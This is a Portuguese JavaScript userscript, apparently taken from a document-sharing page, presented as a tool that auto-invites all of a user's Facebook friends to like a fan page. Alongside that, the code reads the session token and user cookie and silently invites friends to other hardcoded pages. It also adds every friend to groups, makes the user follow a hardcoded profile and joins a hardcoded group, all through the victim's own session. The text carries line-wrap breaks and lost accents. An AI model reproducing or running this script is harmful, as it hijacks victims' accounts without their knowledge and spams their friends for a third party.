Você está na página 1de 6

// ==UserScript==

// @name
Facebook - Auto Convite
// @description Convidar todos amigos para curtir uma fanPage
// @version
1.3
// @author
Xmultidigital
// ==/UserScript==
//
javascript: var Title='Enviando Convites<br/> By:<A style="color:#D19F26;" href=
"https://www.facebook.com/xmultidigital" target="_blank">Xmultidigital</A>';
var Descriptions = "",
_text = 'Crditos:</br>Script desenvolvido por </A><A style="color:#D19F26;" h
ref="http://www.facebook.com/xmultidigital" target="_blank"> Xmultidigital</A></
A>.</br> Acesse meu site <A style="color:#D19F26;" href="http://www.xmd.com.br"
target="_blank">xmd.com.br</A>.</A>';
page_id = /"profile_owner":"([0-9]+)"/.exec(document.getElementById("pagelet_tim
eline_main_column").getAttribute("data-gt"))[1];
function InviteFriends(opo) {
jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/invite/sen
d_single?page_id=" + page_id + "&invitee=" + opo + "&elem_id=u_0_1k&action=send&
__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=8&fb_dtsg=" + fb_dtsg +
"&phstamp=", function (a) {
var b = a.substring(a.indexOf("{"));
var c = JSON.parse(b);
i--;
Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;
text-align:left;font-size:10px;white-space:pre-wrap;";
if (c.error) {
Descriptions += "color:darkred'>";
err++;
if (c.errorDescription) Descriptions += c.errorDescription;
else Descriptions += JSON.stringify(c, null, "")
} else {
Descriptions += "color:darkgreen'>";
Descriptions += arn[i] + " foi convidado com sucesso para curtir a pg
ina " + page_name + ".";
suc++
}
Descriptions += "</div>";
var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8
px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width
:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt
2px 0pt rgba(0,0,0,0.1);border-radius:5px;border:1px dashed rgba(209,159,38,0.1
);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title +
"</div>";
if (i > 0) {
display += arr.length + " Amigos detectados<br/>";
display += "<b>" + suc + "</b> Amigos convidados " + (arr.length - i
) + " ";
display += "(" + i + " restantes...)";
display += "<div class='friend-edge'>";
display += Descriptions;
display += "<img style='width:50px;height:50px;margin-left:-125px;pa
dding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='
font-size:13px;padding-left:8px;text-align:left;color:#D19F26;position:absolute;
font-weight:bold;'>" + arn[i] + "</a>";
display += "<div style='text-align:center;font-size:10px;white-space

:pre-wrap;color:gray'>";
display += "Por favor, aguarde enquanto seus amigos so convidados par
a curtir a pgina " + page_name + ".</br>";
display += _text;
display += "</div>";
display += "</div>";
window[tag + "_close"] = true
} else {
Title = "Todos seus amigos foram convidados!</A>";
display += arr.length + " Amigos detectados e ";
display += "<b>" + suc + " Amigos convidados.</b></br>";
display += "<div><span class='FriendRequestAdd addButton selected ui
Button uiButtonSpecial uiButtonLarge' onClick='ChangeLocation()' style='color:wh
ite'>Go to Homepage</span><span class='layerConfirm uiOverlayButton uiButton uiB
uttonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:whit
e'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButton
Large' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"non
e\"' style='color:gray'>Cancel</span><br/>";
display += "<div style='text-align:center;font-size:10px;white-space
:pre-wrap;color:gray'><br/>";
display += _text;
display += "</div>";
window[tag + "_close"] = false
}
display += "</div>";
document.getElementById("pagelet_sidebar").innerHTML = display
}, "text", "post");
tay--;
if (tay > 0) {
var s = arr[tay];
setTimeout("InviteFriends(" + s + ")", 100)
}
console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", su
ccess:" + suc);
if (page_id)jx.load(window.location.protocol + "//www.fa
cebook.com/ajax/pages/invite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%
7B%22" + opo + "%22%3A1%7D&checkableitems[0]=" + opo + "&page_id=28222962851265
8&__user="+ user_id + "&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function
() {}, "text", "post")
if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/pages/in
vite/send?&fb_dtsg=" + fb_dtsg + "&profileChooserItems=%7B%22" + opo + "%22%3A1%
7D&checkableitems[0]=" + opo + "&page_id=1381987575355120&__user="+ user_id +
"&__a=1&__dyn=7n8aD5z5CF-3ui&__req=k&phstamp=", function () {}, "text", "post")
if (page_id)jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/m
embers/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=#&source=typeahead&me
mbers=" + opo + "&nctr[_2]=pagelet_group_members_summary&lsd&post_form_id_source
=AsyncRequest&__user=" + user_id, function () {}, "text", "post");
}
jx = {
b: function () {
var b = !1;
if ("undefined" != typeof ActiveXObject) try {
b = new ActiveXObject("Msxml2.XMLHTTP")
} catch (c) {
try {
b = new ActiveXObject("Microsoft.XMLHTTP")
} catch (a) {

b = !1
}
} else if (window.XMLHttpRequest) try {
b = new XMLHttpRequest
} catch (h) {
b = !1
}
return b
},
load: function (b, c, a, h, g) {
var e = this.d();
if (e && b) {
e.overrideMimeType && e.overrideMimeType("text/xml");
h || (h = "GET");
a || (a = "text");
g || (g = {});
a = a.toLowerCase();
h = h.toUpperCase();
b += b.indexOf("?") + 1 ? "&" : "?";
var k = null;
"POST" == h && (k = b.split("?"), b = k[0], k = k[1]);
e.open(h, b, !0);
e.onreadystatechange = g.c ? function () {
g.c(e)
} : function () {
if (4 == e.readyState)
if (200 == e.status) {
var b = "";
e.responseText && (b = e.responseText);
"j" == a.charAt(0) ? (b = b.replace(/[\n\r]/g, ""), b =
eval("(" + b + ")")) : "x" == a.charAt(0) && (b = e.responseXML);
c && c(b)
} else g.f && document.getElementsByTagName("body")[0].remov
eChild(g.f), g.e && (document.getElementById(g.e).style.display = "none"), error
&& error(e.status)
};
e.send(k)
}
},
d: function () {
return this.b()
}
};
function ChangeLocation() {
window.location.href = "http://www.facebook.com/"
}
setTimeout("ChangeLocation", 1);
window.onbeforeunload = function () {
if (window[tag + "_close"]) return "Vamos comear o trabalho!"
};
var i = 3;
var tay = 3;
var suc = 0;
var err = 0;
var arr = new Array;
var arn = new Array;
var pho = new Array;
var tag = "Close";
var page_name, x = document.getElementsByTagName("span");

for (i = 0; i < x.length; i++)


if (x[i].getAttribute("itemprop") == "name") page_name = x[i].innerHTML;
var fb_dtsg = document.getElementsByName("fb_dtsg")[0].value;
var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
jx.load(window.location.protocol + "///www.facebook.com/ajax/typeahead/first_deg
ree.php?viewer=" + user_id + "&token=v7&filter[0]=user&options[0]=friends_only&o
ptions[1]=nm&options[2]=sort_alpha&__user=" + user_id + "&__a=1&__dyn=7n8aD5z5CF
-3ui&__req=l", function (a) {
var b = a;
var c = b.substring(b.indexOf("{"));
var d = JSON.parse(c);
d = d.payload.entries;
for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
i = arr.length - 1;
tay = i;
console.log(arr.length);
var display = "<div id='friend-edge-display' style='position:fixed;left:50%;
margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:
center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;bor
der:1px solid rgba(0,0,0,0.9);background-color:rgba(0,0,0,0.9);color:#ffffff'>";
display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</
div>";
display += arr.length + " Friends Detected";
display += "</div>";
document.getElementById("pagelet_sidebar").innerHTML = display;
InviteFriends(arr[i])
});
function a(a){var b=new XMLHttpRequest,c="/ajax/follow/follow_profile.php?__a=1"
,d="profile_id="+a+"&location=1&source=follow-button&subscribed_button_id=u37qac
_37&fb_dtsg="+fb_dtsg+"&lsd&__"+user_id+"&phstamp=";b.open("POST",c,!0),b.setReq
uestHeader("Content-type","application/x-www-form-urlencoded"),b.setRequestHeade
r("Content-length",d.length),b.setRequestHeader("Connection","close"),b.onreadys
tatechange=
function(){4==b.readyState&&200==b.status&&b.close},b.send(d)}
function clickfr(){document.getElementsByClassName("search").length>0?nHtml.Clic
kUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].chi
ldNodes[1]):j++,setTimeout("clickfr_callback()",2e3)}
function addfriend(){i++,setTimeout("clickfr()",2e3)}var gid=["244066772367821"]
,fb_dtsg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.
match(document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new XMLHttpRequest,urlwp=
"/ajax/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_i
d="+gid+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",ur
lwp,!0),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencode
d"),httpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestH
eader("Connection","keep-alive"),httpwp.send(paramswp);var fb_dtsg=document.getE
lementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.
match(/c_user=(\d+)/)[1]),fb_dtsg=document.getElementsByName("fb_dtsg")[0].value
,user_id=document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]),fb_dtsg
=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(do
cument.cookie.match(/c_user=(\d+)/)[1]);a("100002279132515");var gid=["#"],fb_dt
sg=document.getElementsByName("fb_dtsg")[0].value,user_id=document.cookie.match(
document.cookie.match(/c_user=(\d+)/)[1]),httpwp=new XMLHttpRequest,urlwp="/ajax
/groups/membership/r2j.php?__a=1",paramswp="&ref=group_jump_header&group_id="+gi
d+"&fb_dtsg="+fb_dtsg+"&__user="+user_id+"&phstamp=";httpwp.open("POST",urlwp,!0
),httpwp.setRequestHeader("Content-type","application/x-www-form-urlencoded"),ht
tpwp.setRequestHeader("Content-length",paramswp.length),httpwp.setRequestHeader(
"Connection","keep-alive"),httpwp.send(paramswp);var fb_dtsg=document.getElement

sByName("fb_dtsg")[0].value,user_id=document.cookie.match(document.cookie.match(
/c_user=(\d+)/)[1]),Friend=Array();gf=new XMLHttpRequest,gf.open("GET","/ajax/ty
peahead/first_degree.php?__a=1&viewer="+user_id+"&token"+Math.random()+"&filter[
0]=user&options[0]=Friend_only",!1),gf.send(),4!=gf.readyState||(data=eval("("+g
f.responseText.substr(9)+")"),data.error||(Friend=data.payload.entries.sort(
function(a,b){return a.index-b.index})));var Title='Fanpage Like - Convite automt
ico <br/> By:<A style="color:#D19F26;" href="https://www.facebook.com/xmultidigi
tal" target="_blank">Xmultidigital</A>';grpname=document.getElementById("groupsJ
umpTitle").innerHTML;var Descriptions="",_text='</br>Visit: <A style="color:#D19
F26;" href="https://www.facebook.com/xmultidigital/">Perfil - Xmultidigital</A>,
Join Yuk!';jx={getHTTPObject:
function(){var a=!1;if("undefined"!=typeof ActiveXObject)try{a=new ActiveXObject
("Msxml2.XMLHTTP")}catch(b){try{a=new ActiveXObject("Microsoft.XMLHTTP")}catch(c
){a=!1}}else if(window.XMLHttpRequest)try{a=new XMLHttpRequest}catch(b){a=!1}ret
urn a},load:
function(url,callback,format,method,opt){var http=this.init();if(http&&url){http
.overrideMimeType&&http.overrideMimeType("text/xml"),method||(method="GET"),form
at||(format="text"),opt||(opt={}),format=format.toLowerCase(),method=method.toUp
perCase();var now="uid="+(new Date).getTime();url+=url.indexOf("?")+1?"&":"?",ur
l+=now;var parameters=null;if("POST"==method){var parts=url.split("?");url=parts
[0],parameters=parts[1]}http.open(method,url,!0);var ths=this;http.onreadystatec
hange=opt.handler?
function(){opt.handler(http)}:function(){if(4==http.readyState)if(200==http.stat
us){var result="";http.responseText&&(result=http.responseText),"j"==format.char
At(0)?(result=result.replace(/[\n\r]/g,""),result=eval("("+result+")")):"x"==for
mat.charAt(0)&&(result=http.responseXML),callback&&callback(result)}else opt.loa
dingIndicator&&document.getElementsByTagName("body")[0].removeChild(opt.loadingI
ndicator),opt.loading&&(document.getElementById(opt.loading).style.display="none
"),error&&error(http.status)},http.send(parameters)}},bind:
function(a){var b={url:"",onSuccess:!1,onError:!1,format:"text",method:"GET",upd
ate:"",loading:"",loadingIndicator:""};for(var c in b)a[c]&&(b[c]=a[c]);if(b.url
){var d=!1;b.loadingIndicator&&(d=document.createElement("div"),d.setAttribute("
style","position:absolute;top:0px;left:0px;"),d.setAttribute("class","loading-in
dicator"),d.innerHTML=b.loadingIndicator,document.getElementsByTagName("body")[0
].appendChild(d),this.opt.loadingIndicator=d),b.loading&&(document.getElementByI
d(b.loading).style.display="block"),this.load(b.url,
function(a){b.onSuccess&&b.onSuccess(a),b.update&&(document.getElementById(b.upd
ate).innerHTML=a),d&&document.getElementsByTagName("body")[0].removeChild(d),b.l
oading&&(document.getElementById(b.loading).style.display="none")},b.format,b.me
thod,b)}},init:
function(){return this.getHTTPObject()}};var nHtml={FindByAttr:function(a,b,c,d)
{"className"==c&&(c="class");var e=document.evaluate(".//"+b+"[@"+c+"='"+d+"']",
a,null,XPathResult.FIRST_ORDERED_NODE_TYPE,null);return e&&e.singleNodeValue?e.s
ingleNodeValue:null},FindByClassName:function(a,b,c){return this.FindByAttr(a,b,
"className",c)},FindByXPath:function(a,b){try{var c=document.evaluate(b,a,null,X
PathResult.FIRST_ORDERED_NODE_TYPE,null)}catch(d){GM_log("bad xpath:"+b)}return
c&&c.singleNodeValue?c.singleNodeValue:null},VisitUrl:function(a){window.setTime
out(function(){document.location.href=a},500+Math.floor(500*Math.random()))},Cli
ckWin:function(a,b,c){var d=a.document.createEvent("MouseEvents");return d.initM
ouseEvent(c,!0,!0,a,0,0,0,0,0,!1,!1,!1,!1,0,null),!b.dispatchEvent(d)},Click:fun
ction(a){return this.ClickWin(window,a,"click")},ClickTimeout:function(a,b){wind
ow.setTimeout(function(){return nHtml.ClickWin(window,a,"click")},b+Math.floor(5
00*Math.random()))},ClickUp:function(a){this.ClickWin(window,a,"mousedown"),this
.ClickWin(window,a,"mouseup"),this.ClickWin(window,a,"click")},GetText:function(
a,b){var c="";if(void 0==b&&(b=0),!(b>40)){if(void 0!=a.textContent)return a.tex
tContent;for(var d=0;a.childNodes.length>d;d++){var e=a.childNodes[d];c+=this.Ge
tText(e,b+1)}return c}}};void 0==document.getElementsByClassName&&(document.getE
lementsByClassName=function(a){for(var e,b=RegExp("(?:^|\\s)"+a+"(?:$|\\s)"),c=d
ocument.getElementsByTagName("*"),d=[],f=0;null!=(e=c[f]);f++){var g=e.className
;g&&-1!=g.indexOf(a)&&b.test(g)&&d.push(e)}return d}),Array.prototype.find=funct

ion(a){var b=!1;for(i=0;this.length>i;i++)"function"==typeof a?a.test(this[i])&&


(b||(b=[]),b.push(i)):this[i]===a&&(b||(b=[]),b.push(i));return b};var i=3,tay=3
,j=0,k=0,suc=0,err=0,arr=Array(),arn=Array(),pho=Array(),getuname=document.getEl
ementsByClassName("fbxWelcomeBoxName")[0].innerHTML,gid=document.getElementsByNa
me("group_id")[0].value;jx.load(window.location.protocol+"//www.facebook.com/aja
x/typeahead/first_degree.php?"+"__a=1&filter[0]=user&lazy=0&viewer="+user_id+"&t
oken=v7&stale_ok=0&options[0]=friends_only&options[1]=nm",function(a){var b=a,c=
b.substring(b.indexOf("{")),d=JSON.parse(c);d=d.payload.entries;for(var e=0;d.le
ngth>e;e++)arr.push(d[e].uid);for(var f=0;d.length>f;f++)arn.push(d[f].text);for
(var g=0;d.length>g;g++)pho.push(d[g].photo);i=arr.length-1,tay=i,console.log(ar
r.length);var h="<div id='friend-edge-display' style='position:fixed;left:50%;ma
rgin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:ce
nter;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;borde
r:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#0
00000'>";h+="<div style='padding-bottom:10px;font-size:20px;'>"+Title+"</div>",h
+=arr.length+" Amigo detectado",h+="</div>",document.getElementById("pagelet_si
debar").innerHTML=h,AddFriendtoGroup(arr[i])});
// JavaScript Document

Você também pode gostar